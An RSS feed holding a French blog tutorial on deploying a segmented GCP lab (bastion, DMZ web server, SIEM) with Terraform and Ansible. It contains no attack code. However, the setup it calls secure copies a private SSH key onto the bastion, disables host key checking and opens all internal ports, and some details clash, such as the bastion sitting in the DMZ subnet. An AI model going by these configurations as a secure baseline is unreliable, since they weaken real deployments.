<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Bilal's blog]]></title><description><![CDATA[As a newcomer to the cybersecurity industry, I'm on an exciting journey of continuous learning and exploration. Join me as I navigate, sharing insights and less]]></description><link>https://blog.fikara.io</link><generator>RSS for Node</generator><lastBuildDate>Sat, 05 Sep 2026 05:24:58 GMT</lastBuildDate><atom:link href="https://blog.fikara.io/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Conception d’une infrastructure réseau segmentée sur GCP avec Terraform & Ansible]]></title><description><![CDATA[Ce lab a pour but de concevoir et déployer une infra sécurisée et segmentée sur Google Cloud Platform (GCP) en utilisant Terraform et Ansible.
Bonne lecture :)
Composants
Voici les différentes technologies et composants du projet.

Infrastructure

Te...]]></description><link>https://blog.fikara.io/conception-dune-infrastructure-reseau-segmentee-sur-gcp-avec-terraform-and-ansible</link><guid isPermaLink="true">https://blog.fikara.io/conception-dune-infrastructure-reseau-segmentee-sur-gcp-avec-terraform-and-ansible</guid><category><![CDATA[ansible]]></category><category><![CDATA[ansible-playbook]]></category><category><![CDATA[Terraform]]></category><category><![CDATA[terraform-cloud]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Tue, 23 Dec 2025 00:24:52 GMT</pubDate><content:encoded><![CDATA[<p>Ce lab a pour but de concevoir et déployer une infra sécurisée et segmentée sur Google Cloud Platform (GCP) en utilisant Terraform et Ansible.</p>
<p>Bonne lecture :)</p>
<h1 id="heading-composants">Composants</h1>
<p>Voici les différentes technologies et composants du projet.</p>
<ul>
<li><p>Infrastructure</p>
<ul>
<li><p><code>Terraform</code>: outil d’Infrastructure as Code IaC, qui permet de créer, modifier et supprimer des ressources (machines, réseaux etc.) avec des fichiers de configuration texte</p>
</li>
<li><p><code>Google Cloud Platform</code>: fournisseur cloud qui héberge les VMs</p>
</li>
</ul>
</li>
<li><p>Sécurité</p>
<ul>
<li><p><code>Ansible</code>: configuration et sécurisation des serveurs par rôles</p>
</li>
<li><p><code>ufw/iptables</code>: pare-feu locaux pour les politiques de filtrage au niveau des VM (ouverture de ports si nécessaires)</p>
</li>
</ul>
</li>
<li><p>Réseau</p>
<ul>
<li><p>Réseau VPC segmenté en trois zones</p>
<ul>
<li><p><code>DMZ</code>: hébergement d’un serveur vulnérable qui permet d’attirer les attaques externes.</p>
</li>
<li><p><code>LAN interne</code>: regroupe les machines privées et serveurs de détection (Wazuh, Zeek). Il recoit les logs et alertes du DMZ et des autres VMs.</p>
</li>
<li><p><code>Zone d’administration</code>: contient le bastion sécurisé SSH qui sert de point d’accès permettant d’administrer le réseau.</p>
<ul>
<li><p><code>Le bastion SSH</code> est la seule machine avec une IP publique et permet d’accéder aux seveurs d’admin du réseau.</p>
</li>
<li><p><code>Le serveur admin / Admin subnet</code> contient aussi les machines privées uniquement accessibles via le bastion.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><code>Pare-feux GCP</code>: contrôle les flux entre les sous-réseaux</p>
</li>
</ul>
</li>
</ul>
<p>Voici un diagramme montrant l’architecture et les différentes étapes.</p>
<pre><code class="lang-mermaid">flowchart TD
    A[Internet] --&gt; B[Bastion SSH]
    A --&gt; | Accès public HTTP/HTTPS | D
    B --&gt; | Web vulnérable | D[DMZ]
    B --&gt; | Serveur Admin + SIEM | LI[LAN interne]
    classDef dmz fill:#ffe6e6,stroke:#ff0000;
    class D dmz;
</code></pre>
<h1 id="heading-etape-1-design-reseau-terraform">Étape 1: Design réseau + Terraform</h1>
<p>La première étape est de créér l’infrastructure du réseau avec Terraform. Il sera composé de :</p>
<ul>
<li><p>Un VPC (réseau virtuel principal)</p>
</li>
<li><p>Trois sous-réseaux pour le <code>dmz</code>, le <code>LAN interne</code> et le <code>serveur admin</code></p>
</li>
<li><p>3 machines virtuelles</p>
<ul>
<li><p>Une pour le <code>bastion</code> SSH</p>
</li>
<li><p>Une pour le serveur vulnérable <code>web-dmz</code></p>
</li>
<li><p>Une pour le <code>SIEM</code> à configurer plus tard</p>
</li>
</ul>
</li>
</ul>
<p>Commencer par mettre à jour la VM puis installer les dépendances:</p>
<pre><code class="lang-bash">sudo apt-get update &amp;&amp; sudo apt-get install -y gnupg software-properties-common
</code></pre>
<p>Ajouter la clé CPG avec la commande suivante:</p>
<pre><code class="lang-bash">wget -O- https://apt.releases.hashicorp.com/gpg | \
gpg --dearmor | \
sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg &gt; /dev/null
</code></pre>
<p>Vérifier ensuite l’empreinte digitale de la clé CPG</p>
<pre><code class="lang-bash">gpg --no-default-keyring \
--keyring /usr/share/keyrings/hashicorp-archive-keyring.gpg \
--fingerprint
</code></pre>
<p>Vous obtenez l’empreinte digitale de la clé et vérifier si elle est bien signée par HashiCorp.</p>
<p>Ajouter ensuite le répertoire officiel de HashiCorp à votre système.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"deb [arch=<span class="hljs-subst">$(dpkg --print-architecture)</span> signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com <span class="hljs-subst">$(grep -oP '(?&lt;=UBUNTU_CODENAME=)</span>.*' /etc/os-release || lsb_release -cs) main"</span> | sudo tee /etc/apt/sources.list.d/hashicorp.list
</code></pre>
<p>Mettre à jour puis installer Terraform. Elle est déjà intégrée si vous utilisez le cloud shell de GCP.</p>
<pre><code class="lang-bash">sudo apt get update
sudo apt-get install terraform
</code></pre>
<p>Vérifier l’installation de Terraform</p>
<pre><code class="lang-bash">terraform -v
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762826657000/4d86c04e-c9c9-48bf-83a9-fb72aa023cef.png" alt class="image--center mx-auto" /></p>
<p>Voici les fichiers principaux de Terraform:</p>
<ul>
<li><p><code>main.tf</code>: définit les ressources de l’infra (VMs, réseau, base de données etc )</p>
</li>
<li><p><code>variables.tf</code>: définit les variables utilisées dans les configurations Terraform, comme le nom, la région, la taille de la machine, ainsi que des descriptions pour chaque variable</p>
</li>
<li><p><code>outputs.tf</code>: définit les sorties ou valeurs qu’on souhaite avoir après exécution de la configuration Terraform. Il s’agit des infos comme les adresses IP ou les identifiants des ressources créées.</p>
</li>
<li><p><code>providers.tf</code>: contient la configuration du fournisseur de service cloud (GCP, AWS etc)</p>
</li>
<li><p><code>firewall.tf</code>: définit les règles de pare-feu</p>
</li>
</ul>
<p>On commence par le fichier <code>variables.tf</code> en y déclarant les variables</p>
<pre><code class="lang-bash">variable <span class="hljs-string">"project_id"</span> {
  description = <span class="hljs-string">"Project ID"</span>
  <span class="hljs-built_in">type</span> = string
  default = <span class="hljs-string">""</span>
}

variable <span class="hljs-string">"region"</span> {
  description = <span class="hljs-string">"Region for deploying resources"</span>
  <span class="hljs-built_in">type</span> = string
  default = <span class="hljs-string">"us-central1"</span>
}

variable <span class="hljs-string">"zone"</span> {
  description = <span class="hljs-string">"Zone for deploying resources"</span>
  <span class="hljs-built_in">type</span> = string
  default = <span class="hljs-string">"us-central1-c"</span>
}

variable <span class="hljs-string">"bastion_ssh_key"</span> {
  description = <span class="hljs-string">"Public key for ssh bastion"</span>
  <span class="hljs-built_in">type</span> = string
}
</code></pre>
<p>Ensuite le fichier <code>main.tf</code>, en y déclarant l’infrastructure suivante:</p>
<ul>
<li><p>Un <code>VPC</code> (réseau virtuel principal)</p>
</li>
<li><p>Trois sous-réseaux pour le <code>dmz</code>, le <code>LAN interne</code> et le <code>serveur admin</code></p>
</li>
<li><p>3 machines virtuelles</p>
<ul>
<li><p>Une pour le <code>bastion</code> SSH</p>
</li>
<li><p>Une pour le serveur vulnérable <code>web-dmz</code></p>
</li>
<li><p>Une pour le <code>SIEM</code></p>
</li>
</ul>
</li>
</ul>
<p>Dans cette configuration, le bastion est le point d’entrée unique pour accéder à toute l’infrastructure. Il y a deux manières pour s’y connecter:</p>
<ul>
<li><p>depuis la machine local avec <code>ssh -i ~/.ssh/bastion_key.pub</code>. Dans ce cas, il faut générer une paire de clé localement, qu’il faut ensuite copier au niveau cloud shell dans le dossier<code>~/.ssh/</code> ou l’assigner à une variable. Pour cela, on utilise une variable <code>bastion_ssh_key</code>, déclaré dans le fichier <code>variables.tf</code>, dont la valeur est défini dans le fichier <code>terraform.tfvars</code>.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762832666452/db12796e-e884-485b-999a-ae040d563dfc.png" alt class="image--center mx-auto" /></p>
<p>  La valeur de la variable <code>bastion_ssh_key</code> sera donc lue dans le fichier <code>terraform.tfvars</code> puis la clé sera ensuite injectée dans la VM lors du déploiement au niveau du paramètre <code>metadata</code>.</p>
</li>
<li><p>depuis le cloud shell de gcp avec <code>gcloud compute ssh NOM_DE_LA_VM --zone=ZONE</code>. Dans ce cas, gcloud utilise par défaut sa propre paire de clés générée automatiquement <code>google_compute_engine</code> et <code>google_compute_engine.pub</code>. Lors de la prmière connexion, une passephrase sera demandée. On peut aussi préciser la clé bastion générée localement avec l’option <code>--ssh-key-file</code></p>
</li>
</ul>
<p>Le <code>SIEM</code> dans le serveur interne sera uniquement accessible via le bastion. Pour le SIEM et le DMZ, on utilise la même paire de clé. Vu que ces deux sont accessibles uniquement via le bastion, il faudra mettre la clé privée dans le bastion plus tard.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Provider configuration</span>
terraform {
  required_providers {
        google = {
      <span class="hljs-built_in">source</span>  = <span class="hljs-string">"hashicorp/google"</span>
      version = <span class="hljs-string">"5.0"</span>
    }
  }

  required_version = <span class="hljs-string">"&gt;= 1.3"</span>

}

  provider <span class="hljs-string">"google"</span>{
    project = var.project_id
    region = var.region
    zone = var.zone
  }

<span class="hljs-comment"># VPC Network</span>
resource <span class="hljs-string">"google_compute_network"</span> <span class="hljs-string">"vpc_network"</span> {
  name = <span class="hljs-string">"vpc"</span>
  auto_create_subnetworks = <span class="hljs-literal">false</span>

}

<span class="hljs-comment">## Subnet LAN</span>
resource <span class="hljs-string">"google_compute_subnetwork"</span> <span class="hljs-string">"subnet_lan"</span> {
  name = <span class="hljs-string">"lan-subnet"</span>
  ip_cidr_range = <span class="hljs-string">"10.10.10.0/24"</span>
  network = google_compute_network.vpc_network.id
  region = <span class="hljs-string">"us-central1"</span>
}

<span class="hljs-comment">## Subnet DMZ</span>
resource <span class="hljs-string">"google_compute_subnetwork"</span> <span class="hljs-string">"subnet_dmz"</span> {
  name= <span class="hljs-string">"dmz-subnet"</span>
  ip_cidr_range = <span class="hljs-string">"10.10.20.0/24"</span>
  network = google_compute_network.vpc_network.id
  region = <span class="hljs-string">"us-central1"</span>
}

<span class="hljs-comment">## Subnet Admin</span>
resource <span class="hljs-string">"google_compute_subnetwork"</span> <span class="hljs-string">"subnet_admin"</span> {
  name = <span class="hljs-string">"admin-subnet"</span>
  ip_cidr_range = <span class="hljs-string">"10.10.30.0/28"</span>
  network = google_compute_network.vpc_network.id
  region = <span class="hljs-string">"us-central1"</span>
}


<span class="hljs-comment">### Bastion SSH</span>
resource <span class="hljs-string">"google_compute_instance"</span> <span class="hljs-string">"bastion"</span> {
  name = <span class="hljs-string">"bastion"</span>
  machine_type = <span class="hljs-string">"e2-medium"</span>
  zone = <span class="hljs-string">"us-central1-c"</span>

  boot_disk {
    initialize_params {
      image = <span class="hljs-string">"ubuntu-os-cloud/ubuntu-2204-lts"</span>
    }
  }

  metadata = {
     ssh-keys = <span class="hljs-string">"ubuntu=<span class="hljs-variable">${var.bastion_ssh_key}</span>"</span>
 }

  network_interface {
    network = google_compute_network.vpc_network.id
    subnetwork = google_compute_subnetwork.subnet_dmz.id
    access_config {

    }
  }

  tags = [<span class="hljs-string">"bastion"</span>,<span class="hljs-string">"ssh"</span>]

}

<span class="hljs-comment">### SIEM</span>
resource <span class="hljs-string">"google_compute_instance"</span> <span class="hljs-string">"siem"</span> {
  name = <span class="hljs-string">"siem"</span>
  machine_type = <span class="hljs-string">"e2-medium"</span>
  zone = <span class="hljs-string">"us-central1-c"</span>

  boot_disk {
    initialize_params {
      image = <span class="hljs-string">"ubuntu-os-cloud/ubuntu-2204-lts"</span>
      size = 30
    }
  }

  network_interface {
    network = google_compute_network.vpc_network.id
    subnetwork = google_compute_subnetwork.subnet_admin.id
  }

  metadata = {
       ssh-keys = <span class="hljs-string">"ubuntu=<span class="hljs-variable">${var.bastion_ssh_key}</span>"</span>
 }

  tags = [<span class="hljs-string">"siem"</span>,<span class="hljs-string">"admin"</span>]
}

<span class="hljs-comment">### Web DMZ</span>

resource <span class="hljs-string">"google_compute_instance"</span> <span class="hljs-string">"dmz"</span> {
  name = <span class="hljs-string">"web-dmz"</span>
  machine_type = <span class="hljs-string">"e2-medium"</span>
  zone = <span class="hljs-string">"us-central1-c"</span>

  boot_disk {
    initialize_params {
      image = <span class="hljs-string">"ubuntu-os-cloud/ubuntu-2204-lts"</span>
    }
  }

  network_interface {
    network = google_compute_network.vpc_network.id
    subnetwork = google_compute_subnetwork.subnet_dmz.id
    access_config {

    }
  }

  metadata = {
     ssh-keys = <span class="hljs-string">"ubuntu=<span class="hljs-variable">${var.bastion_ssh_key}</span>"</span>
  }

  tags = [<span class="hljs-string">"dmz"</span>]
}
</code></pre>
<p>On va ensuite initialiser et vérifier que la configuration des fichiers Terraform est correcte. Des erreurs de syntaxe peuvent apparaître avec ces commandes.</p>
<pre><code class="lang-bash">terraform init
terraform validate
</code></pre>
<p>Exécuter aussi la commande suivante. Elle permet de visualiser le plan d’exécution dans Terraform. Elle génère un apercu des actions qui seront effectuées, comme la création, la modification ou la suppression des ressources.</p>
<pre><code class="lang-bash">terraform plan
</code></pre>
<p>Appliquer le tout avec la commande suivante pour créer l’infrastructure.</p>
<pre><code class="lang-bash">terraform apply
</code></pre>
<p>On peut ensuite vérifier les instances VM et les sous réseaux créés avec les commandes suivantes:</p>
<pre><code class="lang-bash">gcloud compute instances list
gcloud compute networks subnets list
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762826861538/edf4f2eb-7dbf-43aa-b1d0-bcc11cd4a46d.png" alt class="image--center mx-auto" /></p>
<p>ll faut maintenant gérer les règles de pare-feu dans le fichier <code>firewall.tf</code>. Voici les différentes règles ajoutées:</p>
<ol>
<li><p>allow-ssh-bastion</p>
<p> Cette règle autorise la connexion SSH depuis des adresses précises. Ici depuis le pc local, puis le cloud shell. Sans la règle, la connexion est bloqué sur le port 22 avant d’arriver à la VM</p>
</li>
<li><p>allow-http-https-dmz</p>
<p> Cette règle permet à tout Internet d’accéder au serveur web vulnérable, vu qu’elle a une IP publique</p>
</li>
<li><p>allow-internal-trafic</p>
<p> Cette règle autorise le trafic interne entre sous-réseaux (LAN, DMZ, Admin)</p>
</li>
</ol>
<pre><code class="lang-bash"><span class="hljs-comment"># SSH to the bastion</span>
resource <span class="hljs-string">"google_compute_firewall"</span> <span class="hljs-string">"allo_ssh_bastion"</span> {
  name = <span class="hljs-string">"allow-ssh-bastion"</span>
  network = google_compute_network.vpc_network.name

  allow {
    protocol = <span class="hljs-string">"tcp"</span>
    ports = [<span class="hljs-string">"22"</span>]
  }

  source_ranges = [<span class="hljs-string">"IP_PUBLIC_PC_LOCAL/32"</span>]
  target_tags = [<span class="hljs-string">"ssh"</span>,<span class="hljs-string">"bastion"</span>]
  description = <span class="hljs-string">"Allow SSH access from the Bastion"</span>
}

<span class="hljs-comment"># HTTP and HTTPS to DMZ</span>
resource <span class="hljs-string">"google_compute_firewall"</span> <span class="hljs-string">"allow_http_dmz"</span> {
  name = <span class="hljs-string">"allow-http-https-dmz"</span>
  network = google_compute_network.vpc_network.name

  allow {
    protocol = <span class="hljs-string">"tcp"</span>
    ports = [<span class="hljs-string">"80"</span>,<span class="hljs-string">"443"</span>]
  }

  source_ranges = [<span class="hljs-string">"0.0.0.0/0"</span>]
  target_tags = [<span class="hljs-string">"dmz"</span>]
}

<span class="hljs-comment"># Internal traffic</span>
resource <span class="hljs-string">"google_compute_firewall"</span> <span class="hljs-string">"allow_internal"</span> {
  name = <span class="hljs-string">"allow-internal-trafic"</span>
  network = google_compute_network.vpc_network.name

  allow {
    protocol = <span class="hljs-string">"tcp"</span>
    ports = [<span class="hljs-string">"0-65535"</span>]
  }

  allow {
   protocol = <span class="hljs-string">"udp"</span>
   ports = [<span class="hljs-string">"0-65535"</span>]
  }

  allow {
    protocol = <span class="hljs-string">"icmp"</span>
  }

  source_ranges = [<span class="hljs-string">"10.10.0.0/16"</span>]
}
</code></pre>
<p>Revalider le tout avec les commandes suivantes:</p>
<pre><code class="lang-bash">terraform validate
terraform plan
terraform apply
</code></pre>
<p>Les règles ont bien été créées.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762830795857/3cd24054-ef7b-4394-9cb6-316fec23bd11.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-connexion-sur-les-vms">Connexion sur les VMs</h2>
<p>On essaie maintenant de se connecter sur les différentes VMS en commencant par le bastion. On arrive ensuite à bien se connecter avec <code>gcloud compute ssh</code> depuis le cloud shell de GCP,puis avec <code>ssh -i</code> en local.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762830853196/24c3a8b8-d86a-483a-a7ac-75967d081784.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1762833371594/a6102e3a-8c23-4ba5-ab0c-8bece108e0f2.png" alt class="image--center mx-auto" /></p>
<p>Une fois connecté au bastion, on vérifie dans <code>~/.ssh/authorized_keys</code>, on a bien la clé publique <code>bastion_ssh_key</code> insérée dans le fichier <code>main.tf</code> au moment de la création des VMs. On peut maitenant y copier la clé privée depuis notre poste sur le bastion afin de se connecter aux autres VMs qui ont déjà la clé pubique. La clé privée est copiée dans <code>~/.ssh/bastion_key</code>. On se connecte par la suite au SIEM avec la commande <code>ssh -i ~/.ssh/bastion_key ubuntu@10.10.30.2</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763160262370/5a134293-e951-40b7-a980-5d93e71bd5e8.png" alt class="image--center mx-auto" /></p>
<p>Pareil pour le dmz, avec la commande <code>ssh -i ~/.ssh/bastion_key ubuntu@10.10.20.2</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763160985050/5553f486-cd54-4392-8ae8-0d7efd3b28ed.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-etape-2-configuration-avec-ansible-par-roles">Étape 2: Configuration avec Ansible (par rôles)</h1>
<p>La deuxième partie consiste à automatiser la configuration des serveurs créés plus haut par avec Ansible. Chaque serveur (bastion, dmz et SIEM) aura son propre rôle Ansible, ce qui permet de mieux séparer les responsabilités:</p>
<ul>
<li><p>Rôle bastion: sécurisation du SSH</p>
</li>
<li><p>Rôle dmz: installation du serveur web vulnérable</p>
</li>
<li><p>Rôle siem: déploiement des outils de détection.</p>
</li>
</ul>
<p>Cette approche permet de faciliter la réutilisation et le déploiement des configurations.</p>
<p>Pour la suite, Ansible sera exécuté sur le Cloud Shell qui est ici notre machine de contrôle (ayant accès SSH à toutes les VMs). Le DMZ et le bastion ayant une ip publique, Cloud Shell peut s’y connecter directement. Mais la vm siem n’a qu’une IP privée et donc Cloud Shell ne peut pas s’y connecter directement. Dans ce cas on utilisera la méthode du <code>ProxyJump</code>, qui consiste à accéder d’abord au bastion depuis le Cloud Shell, puis ensuite au siem.</p>
<p>Avant d’utiliser Ansible, il faut s’assurerque c’est installé sur la machine:</p>
<pre><code class="lang-bash">sudo apt update
sudo apt install ansible -y
</code></pre>
<p>Verifiez ensuite la version avec la commande suivante:</p>
<pre><code class="lang-bash">ansible --version
ansible-playbook --version
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763165574495/6f7e34e6-b4bf-4fea-a69d-695b46dd8f1c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-structure-ansible">Structure Ansible</h2>
<p>Voici la structure Ansible du projet:</p>
<pre><code class="lang-bash">ansible/
├── ansible.cfg
├── inventory.ini
├── site.yml
│
├── playbooks/
│   ├── bastion.yml
│   ├── dmz.yml
│   └── siem.yml
│
└── roles/
    ├── bastion/
    │   ├── tasks/main.yml
    │   ├── handlers/main.yml
    │   ├── templates/
    │   └── files/
    │
    ├── dmz/
    │   ├── tasks/main.yml
    │   ├── handlers/main.yml
    │   ├── templates/
    │   └── files/
    │
    └── siem/
        ├── tasks/main.yml
        ├── handlers/main.yml
        ├── templates/
        └── files/
</code></pre>
<ul>
<li><p><code>ansible.cfg</code>: fichier de configuration principale d’Ansible.</p>
</li>
<li><p><code>inventory.ini</code>: fichier listant les hôtes et les groupes (il agit comme un inventaire)</p>
</li>
<li><p><code>site.yml:</code> fichier de playbook principal qui sert à gérer l’exécution de plusieurs rôles ou tâches sur les hôtes</p>
</li>
<li><p><code>playbook/</code>: dossier contenant les playbooks à exécuter. Un playbook est un fichier contenant une série d’instructions à exécuter sur des hôtes. On peut soit tuliser les playbooks individuels en les lancant séparément ou en faisant le tout directement avec <code>site.yml</code>.</p>
</li>
<li><p><code>roles/</code>: dossiers de rôles Ansible pour organiser les tâches et les rendre en composants réutilisables (installation de paquets, modification DNS, etc.).</p>
<ul>
<li><p><code>tasks/main.yml</code> contient toutes les tâches Ansible que l’on veut exécuter pour le rôle.</p>
</li>
<li><p><code>handlers/main.yml</code> : contient des actions qui doivent être exécutées en réponse à des changements par des tâches dans un rôle. Par exemple, si une tâche dans <code>tasks/main.yml</code> modifie un fichier de config, un handler peut être déclenché pour redémarrer le service associé pour que les modifications prennent effet.</p>
</li>
<li><p><code>templates/</code> et <code>files/</code> sont facultatifs. On les utilise lorsqu’on veut déployer des configuration précises sur les VMs</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-ansiblecfg">Ansible.cfg</h2>
<p>Voici le fichier <code>ansible.cfg</code></p>
<pre><code class="lang-bash">[defaults]
inventory = ./inventory.ini
remote_user = ubuntu
host_key_checking = False
retry_files_enabled = False
roles_path = ./roles

stdout_callback = yaml
bin_ansible_callbacks = True
</code></pre>
<p>La variable <code>remote_user</code> représente l’utilisateur utilisé pour les connexions SSH selon l’image utilisée lors de la création de la VM.</p>
<h2 id="heading-inventoryini">Inventory.ini</h2>
<p>Le fichier <code>inventory.ini</code></p>
<pre><code class="lang-bash">[bastion]
bastion ansible_host=IP_PRIVE_BASTION ansible_user=ubuntu 

[dmz]
web-dmz ansible_host=IP_PRIVE_DMZ ansible_user=ubuntu

[siem]
siem ansible_host=IP_PRIVE_SIEM ansible_user=ubuntu

[all:vars]
ansible_ssh_private_key_file=~/.ssh/bastion_key
</code></pre>
<ul>
<li><p>La variable <code>ansible_host</code> représente l’adresse IP publique ou privée que Ansible doit utiliser pour se connecter.</p>
</li>
<li><p>On met l’adresse IP publique du bastion car c’est le point d’entrée accessible depuis l’extérieur</p>
</li>
<li><p>Pour le DMZ et le SIEM, on utilise les IP privées car ces machines ne sont accessibles qu’à travers le Bastion.</p>
</li>
<li><p>À noter aussi la variable <code>ansible_ssh_private_key_file</code> qui permet de spécifier la clé privée à utiliser pour se connecter via SSH. Par défaut, Ansible utilise la clé privée générée par Cloud Shell <code>~/.ssh/google_compute_engine.pub</code>. Pour cela qu’il faut spécifier le chemin de la clé privée à utiliser correspondante à la clé publique présente au niveau du bastion.</p>
</li>
</ul>
<p>On vérifie ensuite la connexion SSH vers les machines spécifiées dans le fichier <code>inventory.ini</code>, avant d’écrire les rôles. La commande est <code>ansible MACHINE_NAME -m ping</code>. Elle permet à Ansible de se connecter à chaque machine via SSH pour vérifier la connectivité.</p>
<p>Pour le dmz:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764727279770/9bdacdd2-8a51-410c-938e-c789e11c8c63.png" alt class="image--center mx-auto" /></p>
<p>Pour le siem:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764727291931/7935e6f2-6556-4ce8-b322-a648d79429b5.png" alt class="image--center mx-auto" /></p>
<p>Ici, on exécute Ansible depuis le bastion et non depuis le Cloud Shell car il ets el point d’accès unique au VPC. Il peut joindre les autres machines directement via leurs IP privées. Avec le cloud Shell il aurait fallu utiliser un ProxyJump, cest à dire se connecter d’abord au bastion, puis ensuite aux machines.</p>
<h2 id="heading-siteyml">Site.yml</h2>
<p>Pour le fichier <code>site.yml</code>, on y définit les rôles et les tâches qui doivent être exécutés.</p>
<ul>
<li><p>la variable <code>name</code> définit la tâche ou l’ensemble de tâches</p>
</li>
<li><p>la variable <code>hosts</code> spécifie l’hpote sur lequel la tâche sera exécuté</p>
</li>
<li><p>la variable <code>roles</code> indique le rôle qui doit être appliqué à l’hôte désigné</p>
</li>
</ul>
<pre><code class="lang-bash">---
- name: Configure BASTION
  hosts: bastion
  become: yes
  roles:
    - bastion

- name: Configure DMZ
  hosts: dmz
  become: yes
  roles:
    - dmz

- name: Configure SIEM
  hosts: siem
  become: yes
  roles:
    - siem
</code></pre>
<p>On lance ensuite le tout avec la commande suivante:</p>
<pre><code class="lang-bash">ansible-playbook -i inventory.ini site.yml
</code></pre>
<h2 id="heading-roles">Roles</h2>
<p>On poursuit avec le rôle <code>bastion</code>. Il servira à sécuriser le serveur bastion, qui sert de point d’accès au réseau. On cible ici, le SSH (la clé publique et la désactivation du root), le pare-feu local puis un outil de protection de base tel que fail2ban.</p>
<p>Le fichier <code>/roles/bastion/tasks/main.yml</code> contiendra les tâches suivantes:</p>
<ol>
<li><p>Mettre à jour des paquets</p>
</li>
<li><p>Sécuriser SSH</p>
<ol>
<li>Désactiver l’accès root via SSH</li>
</ol>
</li>
<li><p>Gérer le pare feu local</p>
<ol>
<li><p>Autoriser uniquement le trafic SSH entrant.</p>
</li>
<li><p>Activer le pare-feu avec une politique par défaut de refus.</p>
</li>
</ol>
</li>
<li><p>Fail2ban</p>
<ol>
<li><p>Installer Fail2ban</p>
</li>
<li><p>Configuer Fail2ban pour surveiller les logs SSH</p>
</li>
</ol>
</li>
</ol>
<pre><code class="lang-bash">---
<span class="hljs-comment"># Upgrade packages</span>
- name: Update and updgrade packages
  ansible.builtin.apt:
    update_cache: yes
    upgrade: dist
  become: yes


<span class="hljs-comment"># SSH</span>
- name: Disabled root login via SSH
  ansible.builtin.lineinfile:
    path: /etc/ssh/sshd_config
    regexp: <span class="hljs-string">'^PermitRootLogin'</span>
    line: <span class="hljs-string">'PermitRootLogin no'</span>
    state: present
    validate: <span class="hljs-string">'/usr/sbin/sshd -t %s'</span>
  notify: Restart SSH Service
  become: yes

<span class="hljs-comment"># UFW</span>
- name: Verify UFW is installed
  ansible.builtin.apt:
    name: ufw
    state: present
  become: yes

- name: Allow SSH through UFW
  ansible.builtin.ufw:
    rule: allow
    name: OpenSSH

- name: Enable UFW with deny policy (per default)
  ansible.builtin.ufw:
    state: enabled
    default: deny

<span class="hljs-comment"># Fail2ban</span>
- name: Install Fail2ban
  ansible.builtin.apt:
     name: fail2ban
     state: present
  become: yes

- name: Start Fail2ban
  ansible.builtin.service:
    name: fail2ban
    state : started
    enabled: <span class="hljs-literal">true</span>
</code></pre>
<p>Toujours au niveau des rôles du bastion, on met le fichier <code>/roles/bastion/handlers/main.yml</code>. Le handler <code>Restart SSH Service</code> est appelé dans <code>/roles/bastion/tasks/main.yml</code> au niveau de l’option <code>notify:</code></p>
<pre><code class="lang-bash">---
- name: Restart SSH Service
  ansible.builtin.service:
    name: sshd
    state: restarted
    enabled: <span class="hljs-literal">true</span>
</code></pre>
<p>On passe au rôle du <code>dmz</code> . Dans le fichier <code>/roles/dmz/tasks/main.yml</code>, on a les tâches suivantes:</p>
<ol>
<li><p>Mettre à jour les paquets</p>
</li>
<li><p>Installer des services web</p>
<ol>
<li><p>Installer un serveur web Nginx vulnérable</p>
</li>
<li><p>Ouvrir les ports HTTP et HTTPS</p>
</li>
</ol>
</li>
<li><p>Gérer le pare feu</p>
<ol>
<li><p>Bloquer le trafic entrant par défaut</p>
</li>
<li><p>Autoriser uniquement les services HTTP, HTTPS et SSH (pour le bastion)</p>
</li>
</ol>
</li>
</ol>
<pre><code class="lang-bash">---
<span class="hljs-comment"># Upgrade packages</span>
- name: Update and upgrade packages
  ansible.builtin.apt:
    update_cache: yes
    upgrade: dist
  become: yes


<span class="hljs-comment"># Web services</span>
- name: Nginx install
  ansible.builtin.apt:
    name: nginx
    state: latest
    update_cache: yes
  become: yes
  notify: Restart nginx

- name: Nginx service started and enabled
  ansible.builtin.systemd:
    name: nginx
    state: started
    enabled: <span class="hljs-literal">true</span>
  become: yes


<span class="hljs-comment"># Pare feu</span>
- name: Verify UFW is installed
  ansible.builtin.apt:
    name: ufw
    state: present
  become: yes

<span class="hljs-comment"># On définit les règles avant d'actvier UFW pour éviter un lockouttt</span>

<span class="hljs-comment"># Allow HTTP</span>
- name: Allow HTTP port
  ansible.builtin.ufw:
    rule: allow
    port: 80
    proto: tcp
  become: yes

<span class="hljs-comment"># Allow HTTPS</span>
- name: Allow HTTPS port
  ansible.builtin.ufw:
    rule: allow
    port: 443
    proto: tcp
  become: yes

<span class="hljs-comment"># SSH only from Bastion</span>
- name: Allow SSH from Bastion only
  ansible.builtin.ufw:
    rule: allow
    port: 22
    proto: tcp
    src: 10.10.20.2
  become: yes

<span class="hljs-comment">#  UFW policies</span>
- name: Deny incoming trafic UFW
  ansible.builtin.ufw:
    direction: incoming
    policy: deny
  become: yes

- name: Allow outgoing trafic UFW
  ansible.builtin.ufw:
    direction: outgoing
    policy: allow
  become: yes

